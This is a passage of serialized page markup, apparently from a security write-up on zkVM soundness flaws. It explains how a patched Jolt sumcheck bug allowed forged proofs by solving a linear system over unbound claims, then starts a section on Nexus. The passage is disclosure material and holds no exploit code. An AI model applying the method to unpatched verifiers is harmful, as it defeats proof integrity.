lassName":113937,"style":113938},[2397],"height:1.0497em;vertical-align:-0.2997em;",[],{"type":20,"tag":315,"props":113941,"children":113943},{"className":113942},[20028],[113944,113949],{"type":20,"tag":315,"props":113945,"children":113947},{"className":113946,"style":20035},[20028,20033,20034],[113948],{"type":26,"value":107100},{"type":20,"tag":315,"props":113950,"children":113952},{"className":113951},[2419],[113953],{"type":20,"tag":315,"props":113954,"children":113956},{"className":113955},[2424,20046],[113957,113986],{"type":20,"tag":315,"props":113958,"children":113960},{"className":113959},[2429],[113961,113981],{"type":20,"tag":315,"props":113962,"children":113964},{"className":113963,"style":112512},[2434],[113965],{"type":20,"tag":315,"props":113966,"children":113967},{"style":20059},[113968,113972],{"type":20,"tag":315,"props":113969,"children":113971},{"className":113970,"style":2444},[2443],[],{"type":20,"tag":315,"props":113973,"children":113975},{"className":113974},[2449,2450,2451,2452],[113976],{"type":20,"tag":315,"props":113977,"children":113979},{"className":113978},[2403,19992,2452],[113980],{"type":26,"value":2122},{"type":20,"tag":315,"props":113982,"children":113984},{"className":113983},[20149],[113985],{"type":26,"value":20152},{"type":20,"tag":315,"props":113987,"children":113989},{"className":113988},[2429],[113990],{"type":20,"tag":315,"props":113991,"children":113993},{"className":113992,"style":112792},[2434],[113994],{"type":20,"tag":315,"props":113995,"children":113996},{},[],{"type":20,"tag":315,"props":113998,"children":114000},{"className":113999,"style":2522},[2483],[],{"type":20,"tag":315,"props":114002,"children":114004},{"className":114003},[2403],[114005,114010],{"type":20,"tag":315,"props":114006,"children":114008},{"className":114007,"style":113393},[2403,19992],[114009],{"type":26,"value":113396},{"type":20,"tag":315,"props":114011,"children":114013},{"className":114012},[2419],[114014],{"type":20,"tag":315,"props":114015,"children":114017},{"className":114016},[2424,20046],[114018,114048],{"type":20,"tag":315,"props":114019,"children":114021},{"className":114020},[2429],[114022,114043],{"type":20,"tag":315,"props":114023,"children":114025},{"className":114024,"style":91834},[2434],[114026],{"type":20,"tag":315,"props":114027,"children":114029},{"style":114028},"top:-2.55em;margin-left:-0.0037em;margin-right:0.05em;",[114030,114034],{"type":20,"tag":315,"props":114031,"children":114033},{"className":114032,"style":2444},[2443],[],{"type":20,"tag":315,"props":114035,"children":114037},{"className":114036},[2449,2450,2451,2452],[114038],{"type":20,"tag":315,"props":114039,"children":114041},{"className":114040},[2403,19992,2452],[114042],{"type":26,"value":2122},{"type":20,"tag":315,"props":114044,"children":114046},{"className":114045},[20149],[114047],{"type":26,"value":20152},{"type":20,"tag":315,"props":114049,"children":114051},{"className":114050},[2429],[114052],{"type":20,"tag":315,"props":114053,"children":114055},{"className":114054,"style":91388},[2434],[114056],{"type":20,"tag":315,"props":114057,"children":114058},{},[],{"type":20,"tag":315,"props":114060,"children":114062},{"className":114061,"style":2484},[2483],[],{"type":20,"tag":315,"props":114064,"children":114066},{"className":114065},[2489],[114067],{"type":26,"value":109567},{"type":20,"tag":315,"props":114069,"children":114071},{"className":114070,"style":2484},[2483],[],{"type":20,"tag":315,"props":114073,"children":114075},{"className":114074},[2392],[114076,114080],{"type":20,"tag":315,"props":114077,"children":114079},{"className":114078,"style":109302},[2397],[],{"type":20,"tag":315,"props":114081,"children":114083},{"className":114082},[2403],[114084,114089],{"type":20,"tag":315,"props":114085,"children":114087},{"className":114086,"style":91539},[2403,19992],[114088],{"type":26,"value":91542},{"type":20,"tag":315,"props":114090,"children":114092},{"className":114091},[2419],[114093],{"type":20,"tag":315,"props":114094,"children":114096},{"className":114095},[2424,20046],[114097,114126],{"type":20,"tag":315,"props":114098,"children":114100},{"className":114099},[2429],[114101,114121],{"type":20,"tag":315,"props":114102,"children":114104},{"className":114103,"style":91834},[2434],[114105],{"type":20,"tag":315,"props":114106,"children":114107},{"style":108734},[114108,114112],{"type":20,"tag":315,"props":114109,"children":114111},{"className":114110,"style":2444},[2443],[],{"type":20,"tag":315,"props":114113,"children":114115},{"className":114114},[2449,2450,2451,2452],[114116],{"type":20,"tag":315,"props":114117,"children":114119},{"className":114118},[2403,19992,2452],[114120],{"type":26,"value":2122},{"type":20,"tag":315,"props":114122,"children":114124},{"className":114123},[20149],[114125],{"type":26,"value":20152},{"type":20,"tag":315,"props":114127,"children":114129},{"className":114128},[2429],[114130],{"type":20,"tag":315,"props":114131,"children":114133},{"className":114132,"style":91388},[2434],[114134],{"type":20,"tag":315,"props":114135,"children":114136},{},[],{"type":20,"tag":29,"props":114138,"children":114139},{},[114140,114142,114219,114221,114226,114228,114305,114307,114384,114386,114463],{"type":26,"value":114141},"where ",{"type":20,"tag":119,"props":114143,"children":114145},{"className":114144},[2375,2376],[114146],{"type":20,"tag":315,"props":114147,"children":114149},{"className":114148},[2381],[114150],{"type":20,"tag":315,"props":114151,"children":114153},{"className":114152,"ariaHidden":2387},[2386],[114154],{"type":20,"tag":315,"props":114155,"children":114157},{"className":114156},[2392],[114158,114162],{"type":20,"tag":315,"props":114159,"children":114161},{"className":114160,"style":108275},[2397],[],{"type":20,"tag":315,"props":114163,"children":114165},{"className":114164},[2403],[114166,114171],{"type":20,"tag":315,"props":114167,"children":114169},{"className":114168,"style":113393},[2403,19992],[114170],{"type":26,"value":113396},{"type":20,"tag":315,"props":114172,"children":114174},{"className":114173},[2419],[114175],{"type":20,"tag":315,"props":114176,"children":114178},{"className":114177},[2424,20046],[114179,114208],{"type":20,"tag":315,"props":114180,"children":114182},{"className":114181},[2429],[114183,114203],{"type":20,"tag":315,"props":114184,"children":114186},{"className":114185,"style":91834},[2434],[114187],{"type":20,"tag":315,"props":114188,"children":114189},{"style":114028},[114190,114194],{"type":20,"tag":315,"props":114191,"children":114193},{"className":114192,"style":2444},[2443],[],{"type":20,"tag":315,"props":114195,"children":114197},{"className":114196},[2449,2450,2451,2452],[114198],{"type":20,"tag":315,"props":114199,"children":114201},{"className":114200},[2403,19992,2452],[114202],{"type":26,"value":2122},{"type":20,"tag":315,"props":114204,"children":114206},{"className":114205},[20149],[114207],{"type":26,"value":20152},{"type":20,"tag":315,"props":114209,"children":114211},{"className":114210},[2429],[114212],{"type":20,"tag":315,"props":114213,"children":114215},{"className":114214,"style":91388},[2434],[114216],{"type":20,"tag":315,"props":114217,"children":114218},{},[],{"type":26,"value":114220}," are random coefficients derived from the transcript. Since ",{"type":20,"tag":119,"props":114222,"children":114224},{"className":114223},[],[114225],{"type":26,"value":113769},{"type":26,"value":114227}," (containing ",{"type":20,"tag":119,"props":114229,"children":114231},{"className":114230},[2375,2376],[114232],{"type":20,"tag":315,"props":114233,"children":114235},{"className":114234},[2381],[114236],{"type":20,"tag":315,"props":114237,"children":114239},{"className":114238,"ariaHidden":2387},[2386],[114240],{"type":20,"tag":315,"props":114241,"children":114243},{"className":114242},[2392],[114244,114248],{"type":20,"tag":315,"props":114245,"children":114247},{"className":114246,"style":109302},[2397],[],{"type":20,"tag":315,"props":114249,"children":114251},{"className":114250},[2403],[114252,114257],{"type":20,"tag":315,"props":114253,"children":114255},{"className":114254,"style":91539},[2403,19992],[114256],{"type":26,"value":91542},{"type":20,"tag":315,"props":114258,"children":114260},{"className":114259},[2419],[114261],{"type":20,"tag":315,"props":114262,"children":114264},{"className":114263},[2424,20046],[114265,114294],{"type":20,"tag":315,"props":114266,"children":114268},{"className":114267},[2429],[114269,114289],{"type":20,"tag":315,"props":114270,"children":114272},{"className":114271,"style":91834},[2434],[114273],{"type":20,"tag":315,"props":114274,"children":114275},{"style":108734},[114276,114280],{"type":20,"tag":315,"props":114277,"children":114279},{"className":114278,"style":2444},[2443],[],{"type":20,"tag":315,"props":114281,"children":114283},{"className":114282},[2449,2450,2451,2452],[114284],{"type":20,"tag":315,"props":114285,"children":114287},{"className":114286},[2403,19992,2452],[114288],{"type":26,"value":2122},{"type":20,"tag":315,"props":114290,"children":114292},{"className":114291},[20149],[114293],{"type":26,"value":20152},{"type":20,"tag":315,"props":114295,"children":114297},{"className":114296},[2429],[114298],{"type":20,"tag":315,"props":114299,"children":114301},{"className":114300,"style":91388},[2434],[114302],{"type":20,"tag":315,"props":114303,"children":114304},{},[],{"type":26,"value":114306},") were not in the transcript, the ",{"type":20,"tag":119,"props":114308,"children":114310},{"className":114309},[2375,2376],[114311],{"type":20,"tag":315,"props":114312,"children":114314},{"className":114313},[2381],[114315],{"type":20,"tag":315,"props":114316,"children":114318},{"className":114317,"ariaHidden":2387},[2386],[114319],{"type":20,"tag":315,"props":114320,"children":114322},{"className":114321},[2392],[114323,114327],{"type":20,"tag":315,"props":114324,"children":114326},{"className":114325,"style":108275},[2397],[],{"type":20,"tag":315,"props":114328,"children":114330},{"className":114329},[2403],[114331,114336],{"type":20,"tag":315,"props":114332,"children":114334},{"className":114333,"style":113393},[2403,19992],[114335],{"type":26,"value":113396},{"type":20,"tag":315,"props":114337,"children":114339},{"className":114338},[2419],[114340],{"type":20,"tag":315,"props":114341,"children":114343},{"className":114342},[2424,20046],[114344,114373],{"type":20,"tag":315,"props":114345,"children":114347},{"className":114346},[2429],[114348,114368],{"type":20,"tag":315,"props":114349,"children":114351},{"className":114350,"style":91834},[2434],[114352],{"type":20,"tag":315,"props":114353,"children":114354},{"style":114028},[114355,114359],{"type":20,"tag":315,"props":114356,"children":114358},{"className":114357,"style":2444},[2443],[],{"type":20,"tag":315,"props":114360,"children":114362},{"className":114361},[2449,2450,2451,2452],[114363],{"type":20,"tag":315,"props":114364,"children":114366},{"className":114365},[2403,19992,2452],[114367],{"type":26,"value":2122},{"type":20,"tag":315,"props":114369,"children":114371},{"className":114370},[20149],[114372],{"type":26,"value":20152},{"type":20,"tag":315,"props":114374,"children":114376},{"className":114375},[2429],[114377],{"type":20,"tag":315,"props":114378,"children":114380},{"className":114379,"style":91388},[2434],[114381],{"type":20,"tag":315,"props":114382,"children":114383},{},[],{"type":26,"value":114385}," values are independent of ",{"type":20,"tag":119,"props":114387,"children":114389},{"className":114388},[2375,2376],[114390],{"type":20,"tag":315,"props":114391,"children":114393},{"className":114392},[2381],[114394],{"type":20,"tag":315,"props":114395,"children":114397},{"className":114396,"ariaHidden":2387},[2386],[114398],{"type":20,"tag":315,"props":114399,"children":114401},{"className":114400},[2392],[114402,114406],{"type":20,"tag":315,"props":114403,"children":114405},{"className":114404,"style":109302},[2397],[],{"type":20,"tag":315,"props":114407,"children":114409},{"className":114408},[2403],[114410,114415],{"type":20,"tag":315,"props":114411,"children":114413},{"className":114412,"style":91539},[2403,19992],[114414],{"type":26,"value":91542},{"type":20,"tag":315,"props":114416,"children":114418},{"className":114417},[2419],[114419],{"type":20,"tag":315,"props":114420,"children":114422},{"className":114421},[2424,20046],[114423,114452],{"type":20,"tag":315,"props":114424,"children":114426},{"className":114425},[2429],[114427,114447],{"type":20,"tag":315,"props":114428,"children":114430},{"className":114429,"style":91834},[2434],[114431],{"type":20,"tag":315,"props":114432,"children":114433},{"style":108734},[114434,114438],{"type":20,"tag":315,"props":114435,"children":114437},{"className":114436,"style":2444},[2443],[],{"type":20,"tag":315,"props":114439,"children":114441},{"className":114440},[2449,2450,2451,2452],[114442],{"type":20,"tag":315,"props":114443,"children":114445},{"className":114444},[2403,19992,2452],[114446],{"type":26,"value":2122},{"type":20,"tag":315,"props":114448,"children":114450},{"className":114449},[20149],[114451],{"type":26,"value":20152},{"type":20,"tag":315,"props":114453,"children":114455},{"className":114454},[2429],[114456],{"type":20,"tag":315,"props":114457,"children":114459},{"className":114458,"style":91388},[2434],[114460],{"type":20,"tag":315,"props":114461,"children":114462},{},[],{"type":26,"value":61},{"type":20,"tag":29,"props":114465,"children":114466},{},[114467],{"type":20,"tag":3717,"props":114468,"children":114469},{},[114470],{"type":26,"value":114471},"Why it's linear:",{"type":20,"tag":29,"props":114473,"children":114474},{},[114475,114477],{"type":26,"value":114476},"Due to the compression optimization (prover omits one less coefficient per round), the final verification equation traces back through the rounds and becomes linear in the input claim ",{"type":20,"tag":119,"props":114478,"children":114480},{"className":114479},[2375,2376],[114481],{"type":20,"tag":315,"props":114482,"children":114484},{"className":114483},[2381],[114485],{"type":20,"tag":315,"props":114486,"children":114488},{"className":114487,"ariaHidden":2387},[2386],[114489],{"type":20,"tag":315,"props":114490,"children":114492},{"className":114491},[2392],[114493,114497],{"type":20,"tag":315,"props":114494,"children":114496},{"className":114495,"style":19987},[2397],[],{"type":20,"tag":315,"props":114498,"children":114500},{"className":114499,"style":91539},[2403,19992],[114501],{"type":26,"value":91542},{"type":20,"tag":29,"props":114503,"children":114504},{},[114505],{"type":20,"tag":119,"props":114506,"children":114508},{"className":114507},[2375,2376],[114509],{"type":20,"tag":315,"props":114510,"children":114512},{"className":114511},[2381],[114513],{"type":20,"tag":315,"props":114514,"children":114516},{"className":114515,"ariaHidden":2387},[2386],[114517,114607,114633,114659],{"type":20,"tag":315,"props":114518,"children":114520},{"className":114519},[2392],[114521,114525,114594,114598,114603],{"type":20,"tag":315,"props":114522,"children":114524},{"className":114523,"style":109302},[2397],[],{"type":20,"tag":315,"props":114526,"children":114528},{"className":114527},[2403],[114529,114535],{"type":20,"tag":315,"props":114530,"children":114532},{"className":114531,"style":20524},[2403,19992],[114533],{"type":26,"value":114534},"C",{"type":20,"tag":315,"props":114536,"children":114538},{"className":114537},[2419],[114539],{"type":20,"tag":315,"props":114540,"children":114542},{"className":114541},[2424,20046],[114543,114583],{"type":20,"tag":315,"props":114544,"children":114546},{"className":114545},[2429],[114547,114578],{"type":20,"tag":315,"props":114548,"children":114551},{"className":114549,"style":114550},[2434],"height:0.3361em;",[114552],{"type":20,"tag":315,"props":114553,"children":114555},{"style":114554},"top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;",[114556,114560],{"type":20,"tag":315,"props":114557,"children":114559},{"className":114558,"style":2444},[2443],[],{"type":20,"tag":315,"props":114561,"children":114563},{"className":114562},[2449,2450,2451,2452],[114564],{"type":20,"tag":315,"props":114565,"children":114567},{"className":114566},[2403,2452],[114568],{"type":20,"tag":315,"props":114569,"children":114571},{"className":114570},[2403,26,2452],[114572],{"type":20,"tag":315,"props":114573,"children":114575},{"className":114574},[2403,2452],[114576],{"type":26,"value":114577},"final",{"type":20,"tag":315,"props":114579,"children":114581},{"className":114580},[20149],[114582],{"type":26,"value":20152},{"type":20,"tag":315,"props":114584,"children":114586},{"className":114585},[2429],[114587],{"type":20,"tag":315,"props":114588,"children":114590},{"className":114589,"style":91388},[2434],[114591],{"type":20,"tag":315,"props":114592,"children":114593},{},[],{"type":20,"tag":315,"props":114595,"children":114597},{"className":114596,"style":2581},[2483],[],{"type":20,"tag":315,"props":114599,"children":114601},{"className":114600},[2586],[114602],{"type":26,"value":337},{"type":20,"tag":315,"props":114604,"children":114606},{"className":114605,"style":2581},[2483],[],{"type":20,"tag":315,"props":114608,"children":114610},{"className":114609},[2392],[114611,114615,114620,114624,114629],{"type":20,"tag":315,"props":114612,"children":114614},{"className":114613,"style":113388},[2397],[],{"type":20,"tag":315,"props":114616,"children":114618},{"className":114617},[2403,19992],[114619],{"type":26,"value":35},{"type":20,"tag":315,"props":114621,"children":114623},{"className":114622,"style":2484},[2483],[],{"type":20,"tag":315,"props":114625,"children":114627},{"className":114626},[2489],[114628],{"type":26,"value":109567},{"type":20,"tag":315,"props":114630,"children":114632},{"className":114631,"style":2484},[2483],[],{"type":20,"tag":315,"props":114634,"children":114636},{"className":114635},[2392],[114637,114641,114646,114650,114655],{"type":20,"tag":315,"props":114638,"children":114640},{"className":114639,"style":113417},[2397],[],{"type":20,"tag":315,"props":114642,"children":114644},{"className":114643,"style":91539},[2403,19992],[114645],{"type":26,"value":91542},{"type":20,"tag":315,"props":114647,"children":114649},{"className":114648,"style":2484},[2483],[],{"type":20,"tag":315,"props":114651,"children":114653},{"className":114652},[2489],[114654],{"type":26,"value":817},{"type":20,"tag":315,"props":114656,"children":114658},{"className":114657,"style":2484},[2483],[],{"type":20,"tag":315,"props":114660,"children":114662},{"className":114661},[2392],[114663,114667],{"type":20,"tag":315,"props":114664,"children":114666},{"className":114665,"style":91220},[2397],[],{"type":20,"tag":315,"props":114668,"children":114670},{"className":114669},[2403,19992],[114671],{"type":26,"value":1604},{"type":20,"tag":29,"props":114673,"children":114674},{},[114675,114676,114715,114717,114742,114744,114874,114876,114997],{"type":26,"value":114141},{"type":20,"tag":119,"props":114677,"children":114679},{"className":114678},[2375,2376],[114680],{"type":20,"tag":315,"props":114681,"children":114683},{"className":114682},[2381],[114684],{"type":20,"tag":315,"props":114685,"children":114687},{"className":114686,"ariaHidden":2387},[2386],[114688],{"type":20,"tag":315,"props":114689,"children":114691},{"className":114690},[2392],[114692,114696,114701,114706,114710],{"type":20,"tag":315,"props":114693,"children":114695},{"className":114694,"style":113360},[2397],[],{"type":20,"tag":315,"props":114697,"children":114699},{"className":114698},[2403,19992],[114700],{"type":26,"value":35},{"type":20,"tag":315,"props":114702,"children":114704},{"className":114703},[2515],[114705],{"type":26,"value":2518},{"type":20,"tag":315,"props":114707,"children":114709},{"className":114708,"style":2522},[2483],[],{"type":20,"tag":315,"props":114711,"children":114713},{"className":114712},[2403,19992],[114714],{"type":26,"value":1604},{"type":26,"value":114716}," are determined by the transcript (independent of ",{"type":20,"tag":119,"props":114718,"children":114720},{"className":114719},[2375,2376],[114721],{"type":20,"tag":315,"props":114722,"children":114724},{"className":114723},[2381],[114725],{"type":20,"tag":315,"props":114726,"children":114728},{"className":114727,"ariaHidden":2387},[2386],[114729],{"type":20,"tag":315,"props":114730,"children":114732},{"className":114731},[2392],[114733,114737],{"type":20,"tag":315,"props":114734,"children":114736},{"className":114735,"style":19987},[2397],[],{"type":20,"tag":315,"props":114738,"children":114740},{"className":114739,"style":91539},[2403,19992],[114741],{"type":26,"value":91542},{"type":26,"value":114743},"). The verifier checks that ",{"type":20,"tag":119,"props":114745,"children":114747},{"className":114746},[2375,2376],[114748],{"type":20,"tag":315,"props":114749,"children":114751},{"className":114750},[2381],[114752],{"type":20,"tag":315,"props":114753,"children":114755},{"className":114754,"ariaHidden":2387},[2386],[114756,114842],{"type":20,"tag":315,"props":114757,"children":114759},{"className":114758},[2392],[114760,114764,114829,114833,114838],{"type":20,"tag":315,"props":114761,"children":114763},{"className":114762,"style":109302},[2397],[],{"type":20,"tag":315,"props":114765,"children":114767},{"className":114766},[2403],[114768,114773],{"type":20,"tag":315,"props":114769,"children":114771},{"className":114770,"style":20524},[2403,19992],[114772],{"type":26,"value":114534},{"type":20,"tag":315,"props":114774,"children":114776},{"className":114775},[2419],[114777],{"type":20,"tag":315,"props":114778,"children":114780},{"className":114779},[2424,20046],[114781,114818],{"type":20,"tag":315,"props":114782,"children":114784},{"className":114783},[2429],[114785,114813],{"type":20,"tag":315,"props":114786,"children":114788},{"className":114787,"style":114550},[2434],[114789],{"type":20,"tag":315,"props":114790,"children":114791},{"style":114554},[114792,114796],{"type":20,"tag":315,"props":114793,"children":114795},{"className":114794,"style":2444},[2443],[],{"type":20,"tag":315,"props":114797,"children":114799},{"className":114798},[2449,2450,2451,2452],[114800],{"type":20,"tag":315,"props":114801,"children":114803},{"className":114802},[2403,2452],[114804],{"type":20,"tag":315,"props":114805,"children":114807},{"className":114806},[2403,26,2452],[114808],{"type":20,"tag":315,"props":114809,"children":114811},{"className":114810},[2403,2452],[114812],{"type":26,"value":114577},{"type":20,"tag":315,"props":114814,"children":114816},{"className":114815},[20149],[114817],{"type":26,"value":20152},{"type":20,"tag":315,"props":114819,"children":114821},{"className":114820},[2429],[114822],{"type":20,"tag":315,"props":114823,"children":114825},{"className":114824,"style":91388},[2434],[114826],{"type":20,"tag":315,"props":114827,"children":114828},{},[],{"type":20,"tag":315,"props":114830,"children":114832},{"className":114831,"style":2581},[2483],[],{"type":20,"tag":315,"props":114834,"children":114836},{"className":114835},[2586],[114837],{"type":26,"value":337},{"type":20,"tag":315,"props":114839,"children":114841},{"className":114840,"style":2581},[2483],[],{"type":20,"tag":315,"props":114843,"children":114845},{"className":114844},[2392],[114846,114850,114860,114865],{"type":20,"tag":315,"props":114847,"children":114849},{"className":114848,"style":92718},[2397],[],{"type":20,"tag":315,"props":114851,"children":114853},{"className":114852},[2403,26],[114854],{"type":20,"tag":315,"props":114855,"children":114857},{"className":114856},[2403],[114858],{"type":26,"value":114859},"expected",{"type":20,"tag":315,"props":114861,"children":114863},{"className":114862,"style":91305},[2403],[114864],{"type":26,"value":1463},{"type":20,"tag":315,"props":114866,"children":114868},{"className":114867},[2403,26],[114869],{"type":20,"tag":315,"props":114870,"children":114872},{"className":114871},[2403],[114873],{"type":26,"value":35964},{"type":26,"value":114875}," (from PCS opening), this becomes ",{"type":20,"tag":119,"props":114877,"children":114879},{"className":114878},[2375,2376],[114880],{"type":20,"tag":315,"props":114881,"children":114883},{"className":114882},[2381],[114884],{"type":20,"tag":315,"props":114885,"children":114887},{"className":114886,"ariaHidden":2387},[2386],[114888,114914,114940,114966],{"type":20,"tag":315,"props":114889,"children":114891},{"className":114890},[2392],[114892,114896,114901,114905,114910],{"type":20,"tag":315,"props":114893,"children":114895},{"className":114894,"style":113388},[2397],[],{"type":20,"tag":315,"props":114897,"children":114899},{"className":114898},[2403,19992],[114900],{"type":26,"value":35},{"type":20,"tag":315,"props":114902,"children":114904},{"className":114903,"style":2484},[2483],[],{"type":20,"tag":315,"props":114906,"children":114908},{"className":114907},[2489],[114909],{"type":26,"value":109567},{"type":20,"tag":315,"props":114911,"children":114913},{"className":114912,"style":2484},[2483],[],{"type":20,"tag":315,"props":114915,"children":114917},{"className":114916},[2392],[114918,114922,114927,114931,114936],{"type":20,"tag":315,"props":114919,"children":114921},{"className":114920,"style":113417},[2397],[],{"type":20,"tag":315,"props":114923,"children":114925},{"className":114924,"style":91539},[2403,19992],[114926],{"type":26,"value":91542},{"type":20,"tag":315,"props":114928,"children":114930},{"className":114929,"style":2484},[2483],[],{"type":20,"tag":315,"props":114932,"children":114934},{"className":114933},[2489],[114935],{"type":26,"value":817},{"type":20,"tag":315,"props":114937,"children":114939},{"className":114938,"style":2484},[2483],[],{"type":20,"tag":315,"props":114941,"children":114943},{"className":114942},[2392],[114944,114948,114953,114957,114962],{"type":20,"tag":315,"props":114945,"children":114947},{"className":114946,"style":91220},[2397],[],{"type":20,"tag":315,"props":114949,"children":114951},{"className":114950},[2403,19992],[114952],{"type":26,"value":1604},{"type":20,"tag":315,"props":114954,"children":114956},{"className":114955,"style":2581},[2483],[],{"type":20,"tag":315,"props":114958,"children":114960},{"className":114959},[2586],[114961],{"type":26,"value":337},{"type":20,"tag":315,"props":114963,"children":114965},{"className":114964,"style":2581},[2483],[],{"type":20,"tag":315,"props":114967,"children":114969},{"className":114968},[2392],[114970,114974,114983,114988],{"type":20,"tag":315,"props":114971,"children":114973},{"className":114972,"style":92718},[2397],[],{"type":20,"tag":315,"props":114975,"children":114977},{"className":114976},[2403,26],[114978],{"type":20,"tag":315,"props":114979,"children":114981},{"className":114980},[2403],[114982],{"type":26,"value":114859},{"type":20,"tag":315,"props":114984,"children":114986},{"className":114985,"style":91305},[2403],[114987],{"type":26,"value":1463},{"type":20,"tag":315,"props":114989,"children":114991},{"className":114990},[2403,26],[114992],{"type":20,"tag":315,"props":114993,"children":114995},{"className":114994},[2403],[114996],{"type":26,"value":35964},{"type":26,"value":61},{"type":20,"tag":29,"props":114999,"children":115000},{},[115001],{"type":26,"value":115002},"Because multiple claims are coupled across verification stages, the attacker may need to adjust a small set of claim values simultaneously to satisfy all affected constraints.",{"type":20,"tag":29,"props":115004,"children":115005},{},[115006],{"type":26,"value":115007},"This can be exploited by solving a small linear system over a handful of unbound claim values so all affected checks pass simultaneously.",{"type":20,"tag":29,"props":115009,"children":115010},{},[115011,115016,115018],{"type":20,"tag":3717,"props":115012,"children":115013},{},[115014],{"type":26,"value":115015},"Status:",{"type":26,"value":115017}," Fixed on October 3, 2025 via ",{"type":20,"tag":35,"props":115019,"children":115022},{"href":115020,"rel":115021},"https://github.com/a16z/jolt/pull/981",[39],[115023],{"type":26,"value":115024},"PR #981",{"type":20,"tag":17197,"props":115026,"children":115027},{},[],{"type":20,"tag":219,"props":115029,"children":115031},{"id":115030},"nexus",[115032],{"type":26,"value":106124},{"type":20,"tag":29,"props":115034,"children":115035},{},[115036],{"type":26,"value":115037},"Nexus is a zkVM built on the Stwo prover (from StarkWare). It uses STARKs with logup lookup arguments.",{"type":20,"tag":29,"props":115039,"children":115040},{},[115041,115043,115048],{"type":26,"value":115042},"Nexus splits verification into ",{"type":20,"tag":3717,"props":115044,"children":115045},{},[115046],{"type":26,"value":115047},"components",{"type":26,"value":115049}," such as instruction execution, memory, registers, etc. Each component handles a subset of constraints.",{"type":20,"tag":29,"props":115051,"children":115052},{},[115053,115055,115060],{"type":26,"value":115054},"Each component emits and consumes lookup tuples. The component's ",{"type":20,"tag":119,"props":115056,"children":115058},{"className":115057},[],[115059],{"type":26,"value":113169},{"type":26,"value":115061}," summarizes its net contribution:",{"type":20,"tag":29,"props":115063,"children":115064},{},[115065],{"type":20,"tag":119,"props":115066,"children":115068},{"className":115067},[2375,2376],[115069],{"type":20,"tag":315,"props":115070,"children":115072},{"className":115071},[2381],[115073],{"type":20,"tag":315,"props":115074,"children":115076},{"className":115075,"ariaHidden":2387},[2386],[115077,115173,115422],{"type":20,"tag":315,"props":115078,"children":115080},{"className":115079},[2392],[115081,115085,115094,115099,115160,115164,115169],{"type":20,"tag":315,"props":115082,"children":115084},{"className":115083,"style":92718},[2397],[],{"type":20,"tag":315,"props":115086,"children":115088},{"className":115087},[2403,26],[115089],{"type":20,"tag":315,"props":115090,"children":115092},{"className":115091},[2403],[115093],{"type":26,"value":112398},{"type":20,"tag":315,"props":115095,"children":115097},{"className":115096,"style":91305},[2403],[115098],{"type":26,"value":1463},{"type":20,"tag":315,"props":115100,"children":115102},{"className":115101},[2403],[115103,115112],{"type":20,"tag":315,"props":115104,"children":115106},{"className":115105},[2403,26],[115107],{"type":20,"tag":315,"props":115108,"children":115110},{"className":115109},[2403],[115111],{"type":26,"value":74890},{"type":20,"tag":315,"props":115113,"children":115115},{"className":115114},[2419],[115116],{"type":20,"tag":315,"props":115117,"children":115119},{"className":115118},[2424,20046],[115120,115149],{"type":20,"tag":315,"props":115121,"children":115123},{"className":115122},[2429],[115124,115144],{"type":20,"tag":315,"props":115125,"children":115127},{"className":115126,"style":91834},[2434],[115128],{"type":20,"tag":315,"props":115129,"children":115130},{"style":112435},[115131,115135],{"type":20,"tag":315,"props":115132,"children":115134},{"className":115133,"style":2444},[2443],[],{"type":20,"tag":315,"props":115136,"children":115138},{"className":115137},[2449,2450,2451,2452],[115139],{"type":20,"tag":315,"props":115140,"children":115142},{"className":115141},[2403,19992,2452],[115143],{"type":26,"value":2122},{"type":20,"tag":315,"props":115145,"children":115147},{"className":115146},[20149],[115148],{"type":26,"value":20152},{"type":20,"tag":315,"props":115150,"children":115152},{"className":115151},[2429],[115153],{"type":20,"tag":315,"props":115154,"children":115156},{"className":115155,"style":91388},[2434],[115157],{"type":20,"tag":315,"props":115158,"children":115159},{},[],{"type":20,"tag":315,"props":115161,"children":115163},{"className":115162,"style":2581},[2483],[],{"type":20,"tag":315,"props":115165,"children":115167},{"className":115166},[2586],[115168],{"type":26,"value":337},{"type":20,"tag":315,"props":115170,"children":115172},{"className":115171,"style":2581},[2483],[],{"type":20,"tag":315,"props":115174,"children":115176},{"className":115175},[2392],[115177,115182,115239,115243,115409,115413,115418],{"type":20,"tag":315,"props":115178,"children":115181},{"className":115179,"style":115180},[2397],"height:1.4734em;vertical-align:-0.6283em;",[],{"type":20,"tag":315,"props":115183,"children":115185},{"className":115184},[20028],[115186,115191],{"type":20,"tag":315,"props":115187,"children":115189},{"className":115188,"style":20035},[20028,20033,20034],[115190],{"type":26,"value":107100},{"type":20,"tag":315,"props":115192,"children":115194},{"className":115193},[2419],[115195],{"type":20,"tag":315,"props":115196,"children":115198},{"className":115197},[2424,20046],[115199,115228],{"type":20,"tag":315,"props":115200,"children":115202},{"className":115201},[2429],[115203,115223],{"type":20,"tag":315,"props":115204,"children":115206},{"className":115205,"style":112512},[2434],[115207],{"type":20,"tag":315,"props":115208,"children":115209},{"style":20059},[115210,115214],{"type":20,"tag":315,"props":115211,"children":115213},{"className":115212,"style":2444},[2443],[],{"type":20,"tag":315,"props":115215,"children":115217},{"className":115216},[2449,2450,2451,2452],[115218],{"type":20,"tag":315,"props":115219,"children":115221},{"className":115220,"style":112528},[2403,19992,2452],[115222],{"type":26,"value":7052},{"type":20,"tag":315,"props":115224,"children":115226},{"className":115225},[20149],[115227],{"type":26,"value":20152},{"type":20,"tag":315,"props":115229,"children":115231},{"className":115230},[2429],[115232],{"type":20,"tag":315,"props":115233,"children":115235},{"className":115234,"style":112543},[2434],[115236],{"type":20,"tag":315,"props":115237,"children":115238},{},[],{"type":20,"tag":315,"props":115240,"children":115242},{"className":115241,"style":2522},[2483],[],{"type":20,"tag":315,"props":115244,"children":115246},{"className":115245},[2403],[115247,115251,115405],{"type":20,"tag":315,"props":115248,"children":115250},{"className":115249},[20121,111823],[],{"type":20,"tag":315,"props":115252,"children":115254},{"className":115253},[111828],[115255],{"type":20,"tag":315,"props":115256,"children":115258},{"className":115257},[2424,20046],[115259,115393],{"type":20,"tag":315,"props":115260,"children":115262},{"className":115261},[2429],[115263,115388],{"type":20,"tag":315,"props":115264,"children":115266},{"className":115265,"style":111841},[2434],[115267,115357,115368],{"type":20,"tag":315,"props":115268,"children":115269},{"style":111845},[115270,115274],{"type":20,"tag":315,"props":115271,"children":115273},{"className":115272,"style":110476},[2443],[],{"type":20,"tag":315,"props":115275,"children":115277},{"className":115276},[2449,2450,2451,2452],[115278],{"type":20,"tag":315,"props":115279,"children":115281},{"className":115280},[2403,2452],[115282,115287,115292],{"type":20,"tag":315,"props":115283,"children":1